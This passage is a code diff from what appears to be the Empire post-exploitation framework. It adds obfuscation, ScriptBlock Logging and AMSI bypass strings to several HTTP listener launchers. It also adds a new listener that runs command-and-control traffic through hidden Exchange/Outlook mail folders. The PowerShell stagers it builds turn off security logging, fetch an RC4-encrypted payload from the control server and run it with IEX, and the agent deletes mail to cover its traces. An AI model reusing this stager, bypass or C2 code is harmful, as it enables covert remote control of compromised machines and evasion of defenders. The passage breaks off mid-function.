+ stager += helpers.randomize_capitalization("$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" + # @mattifestation's AMSI bypass - stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(") + stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" @@ -215,8 +225,10 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") + if obfuscate: + stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it - if encode: + if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager @@ -229,7 +241,7 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p print helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!") - def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): + def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ @@ -276,6 +288,8 @@ def generate_stager(self, listenerOptions, encode=False, encrypt=True, language= else: randomizedStager += line + if obfuscate: + randomizedStager = helpers.obfuscate(randomizedStager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) @@ -290,7 +304,7 @@ def generate_stager(self, listenerOptions, encode=False, encrypt=True, language= print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.") - def generate_agent(self, listenerOptions, language=None): + def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""): """ Generate the full agent code needed for communications with this listener. """ @@ -333,7 +347,8 @@ def generate_agent(self, listenerOptions, language=None): code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") if workingHours != "": code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',") - + if obfuscate: + code = helpers.obfuscate(code, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) return code else: @@ -515,7 +530,7 @@ def handle_get(request_uri): # step 2 of negotiation -> return stager.ps1 (stage 1) dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http_com') - stage = self.generate_stager(language=language, listenerOptions=listenerOptions) + stage = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) return make_response(base64.b64encode(stage), 200) elif results.startswith('ERROR:'): @@ -570,7 +585,7 @@ def handle_post(request_uri): dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http_com') # step 6 of negotiation -> server sends patched agent.ps1/agent.py - agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions) + agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) encrypted_agent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) # TODO: wrap ^ in a routing packet? @@ -593,7 +608,8 @@ def handle_post(request_uri): certPath = listenerOptions['CertPath']['Value'] host = listenerOptions['Host']['Value'] if certPath.strip() != '' and host.startswith('https'): - context = ("%s/data/empire.pem" % (self.mainMenu.installPath), "%s/data/empire.pem" % (self.mainMenu.installPath)) + certPath = os.path.abspath(certPath) + context = ("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath)) app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context) else: app.run(host=bindIP, port=int(port), threaded=True) diff --git a/lib/listeners/http_foreign.py b/lib/listeners/http_foreign.py index c18dad4a2..c72fd6c18 100644 --- a/lib/listeners/http_foreign.py +++ b/lib/listeners/http_foreign.py @@ -122,7 +122,7 @@ def validate_options(self): return True - def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): + def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ @@ -147,8 +147,18 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p stager = '' if safeChecks.lower() == 'true': + # ScriptBlock Logging bypass + stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(") + stager += "'System.Management.Automation.Utils'" + stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") + stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" + stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" + stager += helpers.randomize_capitalization("$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" + # @mattifestation's AMSI bypass - stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(") + stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" @@ -184,7 +194,12 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials - pass + username = proxyCreds.split(':')[0] + password = proxyCreds.split(':')[1] + domain = username.split('\\')[0] + usr = username.split('\\')[1] + stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");" + stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") # TODO: reimplement stager retries? @@ -218,8 +233,10 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") + if obfuscate: + stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it - if encode: + if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager @@ -262,9 +279,30 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket) launcherBase += "import urllib2\n" - launcherBase += "if urllib2.getproxies():\n" - launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" - + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib2.ProxyHandler();\n" + else: + proto = proxy.Split(':')[0] + launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n" + + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib2.build_opener(proxy);\n" + else: + launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" + username = proxyCreds.split(':')[0] + password = proxyCreds.split(':')[1] + launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n" + launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" + else: + launcherBase += "o = urllib2.build_opener(proxy);\n" + else: + launcherBase += "o = urllib2.build_opener();\n" + + #install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=o.open(server+t).read();" launcherBase += "IV=a[0:4];" @@ -298,7 +336,7 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p print helpers.color("[!] listeners/http_foreign generate_launcher(): invalid listener name specification!") - def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): + def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ If you want to support staging for the listener module, generate_stager must be implemented to return the stage1 key-negotiation stager code. @@ -307,7 +345,7 @@ def generate_stager(self, listenerOptions, encode=False, encrypt=True, language= return '' - def generate_agent(self, listenerOptions, language=None): + def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""): """ If you want to support staging for the listener module, generate_agent must be implemented to return the actual staged agent code. diff --git a/lib/listeners/http_hop.py b/lib/listeners/http_hop.py index 2d60ab599..21dbdc988 100644 --- a/lib/listeners/http_hop.py +++ b/lib/listeners/http_hop.py @@ -102,7 +102,7 @@ def validate_options(self): return True - def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): + def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ @@ -126,8 +126,18 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p stager = '' if safeChecks.lower() == 'true': + # ScriptBlock Logging bypass + stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(") + stager += "'System.Management.Automation.Utils'" + stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") + stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" + stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" + stager += helpers.randomize_capitalization("$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" + # @mattifestation's AMSI bypass - stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(") + stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" @@ -162,7 +172,12 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials - pass + username = proxyCreds.split(':')[0] + password = proxyCreds.split(':')[1] + domain = username.split('\\')[0] + usr = username.split('\\')[1] + stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");" + stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") # TODO: reimplement stager retries? @@ -188,8 +203,10 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") + if obfuscate: + stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it - if encode: + if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager @@ -230,8 +247,30 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket) launcherBase += "import urllib2\n" - launcherBase += "if urllib2.getproxies():\n" - launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib2.ProxyHandler();\n" + else: + proto = proxy.Split(':')[0] + launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n" + + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib2.build_opener(proxy);\n" + else: + launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" + username = proxyCreds.split(':')[0] + password = proxyCreds.split(':')[1] + launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n" + launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" + else: + launcherBase += "o = urllib2.build_opener(proxy);\n" + else: + launcherBase += "o = urllib2.build_opener();\n" + + #install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=o.open(server+t).read();" @@ -265,7 +304,7 @@ def generate_launcher(self, encode=True, userAgent='default', proxy='default', p else: print helpers.color("[!] listeners/http_hop generate_launcher(): invalid listener name specification!") - def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): + def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ If you want to support staging for the listener module, generate_stager must be implemented to return the stage1 key-negotiation stager code. @@ -274,7 +313,7 @@ def generate_stager(self, listenerOptions, encode=False, encrypt=True, language= return '' - def generate_agent(self, listenerOptions, language=None): + def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""): """ If you want to support staging for the listener module, generate_agent must be implemented to return the actual staged agent code. diff --git a/lib/listeners/http_mapi.py b/lib/listeners/http_mapi.py new file mode 100644 index 000000000..508373d51 --- /dev/null +++ b/lib/listeners/http_mapi.py @@ -0,0 +1,636 @@ +import logging +import base64 +import random +import os +import time +import copy +from pydispatch import dispatcher +from flask import Flask, request, make_response + +# Empire imports +from lib.common import helpers +from lib.common import agents +from lib.common import encryption +from lib.common import packets +from lib.common import messages + + +class Listener: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'HTTP[S] + MAPI', + + 'Author': ['@harmj0y','@_staaldraad'], + + 'Description': ('Starts a http[s] listener (PowerShell) which can be used with Liniaal for C2 through Exchange'), + + 'Category' : ('client_server'), + + 'Comments': ['This requires the Liniaal agent to translate messages from MAPI to HTTP. More info: https://github.com/sensepost/liniaal'] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + + 'Name' : { + 'Description' : 'Name for the listener.', + 'Required' : True, + 'Value' : 'mapi' + }, + 'Host' : { + 'Description' : 'Hostname/IP for staging.', + 'Required' : True, + 'Value' : "http://%s:%s" % (helpers.lhost(), 80) + }, + 'BindIP' : { + 'Description' : 'The IP to bind to on the control server.', + 'Required' : True, + 'Value' : '0.0.0.0' + }, + 'Port' : { + 'Description' : 'Port for the listener.', + 'Required' : True, + 'Value' : 80 + }, + 'StagingKey' : { + 'Description' : 'Staging key for initial agent negotiation.', + 'Required' : True, + 'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa' + }, + 'DefaultDelay' : { + 'Description' : 'Agent delay/reach back interval (in seconds).', + 'Required' : True, + 'Value' : 0 + }, + 'DefaultJitter' : { + 'Description' : 'Jitter in agent reachback interval (0.0-1.0).', + 'Required' : True, + 'Value' : 0.0 + }, + 'DefaultLostLimit' : { + 'Description' : 'Number of missed checkins before exiting', + 'Required' : True, + 'Value' : 60 + }, + 'DefaultProfile' : { + 'Description' : 'Default communication profile for the agent.', + 'Required' : True, + 'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" + }, + 'CertPath' : { + 'Description' : 'Certificate path for https listeners.', + 'Required' : False, + 'Value' : '' + }, + 'KillDate' : { + 'Description' : 'Date for the listener to exit (MM/dd/yyyy).', + 'Required' : False, + 'Value' : '' + }, + 'WorkingHours' : { + 'Description' : 'Hours for the agent to operate (09:00-17:00).', + 'Required' : False, + 'Value' : '' + }, + 'ServerVersion' : { + 'Description' : 'TServer header for the control server.', + 'Required' : True, + 'Value' : 'Microsoft-IIS/7.5' + }, + 'Folder' : { + 'Description' : 'The hidden folder in Exchange to user', + 'Required' : True, + 'Value' : 'Liniaal' + }, + 'Email' : { + 'Description' : 'The email address of our target', + 'Required' : False, + 'Value' : '' + } + } + + # required: + self.mainMenu = mainMenu + self.threads = {} + + # optional/specific for this module + self.app = None + self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')] + + # set the default staging key to the controller db default + self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0]) + + + def default_response(self): + """ + Returns a default HTTP server page. + """ + page = "

It works!

" + page += "

This is the default web page for this server.

" + page += "

The web server software is running but no content has been added, yet.

" + page += "" + return page + + + def validate_options(self): + """ + Validate all options for this listener. + """ + + self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')] + + for key in self.options: + if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''): + print helpers.color("[!] Option \"%s\" is required." % (key)) + return False + + return True + + + def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): + """ + Generate a basic launcher for the specified listener. + """ + + if not language: + print helpers.color('[!] listeners/http generate_launcher(): no language specified!') + + if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): + + # extract the set options for this instantiated listener + listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] + host = listenerOptions['Host']['Value'] + stagingKey = listenerOptions['StagingKey']['Value'] + profile = listenerOptions['DefaultProfile']['Value'] + uris = [a for a in profile.split('|')[0].split(',')] + stage0 = random.choice(uris) + + if language.startswith('po'): + # PowerShell + + stager = '' + if safeChecks.lower() == 'true': + # ScriptBlock Logging bypass + stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(") + stager += "'System.Management.Automation.Utils'" + stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") + stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" + stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" + stager += helpers.randomize_capitalization("$GroupPolicySettings") + stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" + + # @mattifestation's AMSI bypass + stager += helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";') + stager += "$outlook = New-Object -comobject Outlook.Application;" + stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("') + stager += 'MAPI");' + if listenerOptions['Email']['Value'] != '': + stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};' + stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};' + else: + stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");' + stager += '$fldel = $outlook.Session.GetDefaultFolder(3);' + # clear out all existing mails/messages + + stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}") + # code to turn the key string into a byte array + stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") + stager += "'%s');" % (stagingKey) + + # this is the minimized RC4 stager code from rc4.ps1 + stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') + b64RoutingPacket = base64.b64encode(routingPacket) + + # add the RC4 packet to a cookie + stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "') + stager += 'mailpireout";' + stager += helpers.randomize_capitalization('$mail.Body = ') + stager += '"STAGE - %s"' % b64RoutingPacket + stager += helpers.randomize_capitalization(';$mail.save() | out-null;') + stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;') + stager += helpers.randomize_capitalization('$break = $False; $data = "";') + stager += helpers.randomize_capitalization("While ($break -ne $True){") + stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;') + stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}') + + stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") + + # decode everything and kick it over to IEX to kick off execution + stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") + + # base64 encode the stager and return it + if encode: + return helpers.powershell_launcher(stager) + else: + # otherwise return the case-randomized stager + return stager + else: + print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.") + + else: + print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!") + + + def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"): + """ + Generate the stager code needed for communications with this listener. + """ + + #if not language: + # print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!') + # return None + + profile = listenerOptions['DefaultProfile']['Value'] + uris = [a.strip('/') for a in profile.split('|')[0].split(',')] + stagingKey = listenerOptions['StagingKey']['Value'] + host = listenerOptions['Host']['Value'] + folder = listenerOptions['Folder']['Value'] + + if language.lower() == 'powershell': + + # read in the stager base + f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath)) + stager = f.read() + f.close() + + # make sure the server ends with "/" + if not host.endswith("/"): + host += "/" + + # patch the server and key information + stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) + stager = stager.replace('REPLACE_FOLDER', folder) + + randomizedStager = '' + + for line in stager.split("\n"): + line = line.strip() + # skip commented line + if not line.startswith("#"): + # randomize capitalization of lines without quoted strings + if "\"" not in line: + randomizedStager += helpers.randomize_capitalization(line) + else: + randomizedStager += line + + # base64 encode the stager and return it + if encode: + return helpers.enc_powershell(randomizedStager) + elif encrypt: + RC4IV = os.urandom(4) + return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) + else: + # otherwise just return the case-randomized stager + return randomizedStager + else: + print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.") + + + def generate_agent(self, listenerOptions, language=None): + """ + Generate the full agent code needed for communications with this listener. + """ + + if not language: + print helpers.color('[!] listeners/http_mapi generate_agent(): no language specified!') + return None + + language = language.lower() + delay = listenerOptions['DefaultDelay']['Value'] + jitter = listenerOptions['DefaultJitter']['Value'] + profile = listenerOptions['DefaultProfile']['Value'] + lostLimit = listenerOptions['DefaultLostLimit']['Value'] + killDate = listenerOptions['KillDate']['Value'] + workingHours = listenerOptions['WorkingHours']['Value'] + folder = listenerOptions['Folder']['Value'] + b64DefaultResponse = base64.b64encode(self.default_response()) + + if language == 'powershell': + + f = open(self.mainMenu.installPath + "./data/agent/agent.ps1") + code = f.read() + f.close() + + # patch in the comms methods + commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) + commsCode = commsCode.replace('REPLACE_FOLDER',folder) + code = code.replace('REPLACE_COMMS', commsCode) + + # strip out comments and blank lines + code = helpers.strip_powershell_comments(code) + + # patch in the delay, jitter, lost limit, and comms profile + code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) + code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) + code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") + code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) + code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"') + + # patch in the killDate and workingHours if they're specified + if killDate != "": + code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") + if workingHours != "": + code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',") + + return code + else: + print helpers.color("[!] listeners/http_mapi generate_agent(): invalid language specification, only 'powershell' is currently supported for this module.") + + + def generate_comms(self, listenerOptions, language=None): + """ + Generate just the agent communication code block needed for communications with this listener. + + This is so agents can easily be dynamically updated for the new listener. + """ + + if language: + if language.lower() == 'powershell': + + updateServers = """ + $Script:ControlServers = @("%s"); + $Script:ServerIndex = 0; + """ % (listenerOptions['Host']['Value']) + + getTask = """ + function script:Get-Task { + try { + # meta 'TASKING_REQUEST' : 4 + $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4; + $RoutingCookie = [Convert]::ToBase64String($RoutingPacket); + + # choose a random valid URI for checkin + $taskURI = $script:TaskURIs | Get-Random; + + $mail = $outlook.CreateItem(0); + $mail.Subject = "mailpireout"; + $mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI; + $mail.save() | out-null; + $mail.Move($fld)| out-null; + + # keep checking to see if there is response + $break = $False; + [byte[]]$b = @(); + + While ($break -ne $True){ + foreach ($item in $fld.Items) { + if($item.Subject -eq "mailpirein"){ + $item.HTMLBody | out-null; + if($item.Body[$item.Body.Length-1] -ne '-'){ + $traw = $item.Body; + $item.Delete(); + $break = $True; + $b = [System.Convert]::FromBase64String($traw); + } + } + } + Start-Sleep -s 1; + } + return ,$b + + } + catch { + + } + while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} + } + """ + + sendMessage = """ + function script:Send-Message { + param($Packets) + + if($Packets) { + # build and encrypt the response packet + $EncBytes = Encrypt-Bytes $Packets; + # build the top level RC4 "routing packet" + # meta 'RESULT_POST' : 5 + $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5; + + # $RoutingPacketp = [System.BitConverter]::ToString($RoutingPacket); + $RoutingPacketp = [Convert]::ToBase64String($RoutingPacket) + try { + # get a random posting URI + $taskURI = $Script:TaskURIs | Get-Random; + $mail = $outlook.CreateItem(0); + $mail.Subject = "mailpireout"; + $mail.Body = "POSTM - "+$taskURI +" - "+$RoutingPacketp; + $mail.save() | out-null; + $mail.Move($fld) | out-null; + } + catch { + } + while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} + } + } + """ + return updateServers + getTask + sendMessage + + else: + print helpers.color("[!] listeners/http_mapi generate_comms(): invalid language specification, only 'powershell' is currently supported for this module.") + else: + print helpers.color('[!] listeners/http_mapi generate_comms(): no language specified!') + + + def start_server(self, listenerOptions): + """ + Threaded function that actually starts up the Flask server. + """ + + # make a copy of the currently set listener options for later stager/agent generation + listenerOptions = copy.deepcopy(listenerOptions) + + # suppress the normal Flask output + log = logging.getLogger('werkzeug') + log.setLevel(logging.ERROR) + + bindIP = listenerOptions['BindIP']['Value'] + host = listenerOptions['Host']['Value'] + port = listenerOptions['Port']['Value'] + stagingKey = listenerOptions['StagingKey']['Value'] + + app = Flask(__name__) + self.app = app + + @app.before_request + def check_ip(): + """ + Before every request, check if the IP address is allowed. + """ + if not self.mainMenu.agents.is_ip_allowed(request.remote_addr): + dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http") + return make_response(self.default_response(), 200) + + + @app.after_request + def change_header(response): + "Modify the default server version in the response." + response.headers['Server'] = listenerOptions['ServerVersion']['Value'] + return response + + + @app.route('/', methods=['GET']) + def handle_get(request_uri): + """ + Handle an agent GET request. + + This is used during the first step of the staging process, + and when the agent requests taskings. + """ + + clientIP = request.remote_addr + dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http') + routingPacket = None + cookie = request.headers.get('Cookie') + if cookie and cookie != '': + try: + # see if we can extract the 'routing packet' from the specified cookie location + # NOTE: this can be easily moved to a paramter, another cookie value, etc. + if 'session' in cookie: + cookieParts = cookie.split(';') + for part in cookieParts: + if part.startswith('session'): + base64RoutingPacket = part[part.find('=')+1:] + # decode the routing packet base64 value in the cookie + routingPacket = base64.b64decode(base64RoutingPacket) + except Exception as e: + routingPacket = None + pass + + if routingPacket: + # parse the routing packet and process the results + dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, routingPacket, listenerOptions, clientIP) + if dataResults and len(dataResults) > 0: + for (language, results) in dataResults: + if results: + if results == 'STAGE0': + # handle_agent_data() signals that the listener should return the stager.ps1 code + + # step 2 of negotiation -> return stager.ps1 (stage 1) + dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http') + stage = self.generate_stager(language=language, listenerOptions=listenerOptions) + return make_response(stage, 200) + + elif results.startswith('ERROR:'): + dispatcher.send("[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http') + + if 'not in cache' in results: + # signal the client to restage + print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP)) + return make_response(self.default_response(), 401) + else: + return make_response(self.default_response(), 200) + + else: + # actual taskings + dispatcher.send("[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http') + return make_response(results, 200) + else: + # dispatcher.send("[!] Results are None...", sender='listeners/http') + return make_response(self.default_response(), 200) + else: + return make_response(self.default_response(), 200) + + else: + dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http') + return make_response(self.default_response(), 200) + + + @app.route('/', methods=['POST']) + def handle_post(request_uri): + """ + Handle an agent POST request. + """ + + stagingKey = listenerOptions['StagingKey']['Value'] + clientIP = request.remote_addr + + # the routing 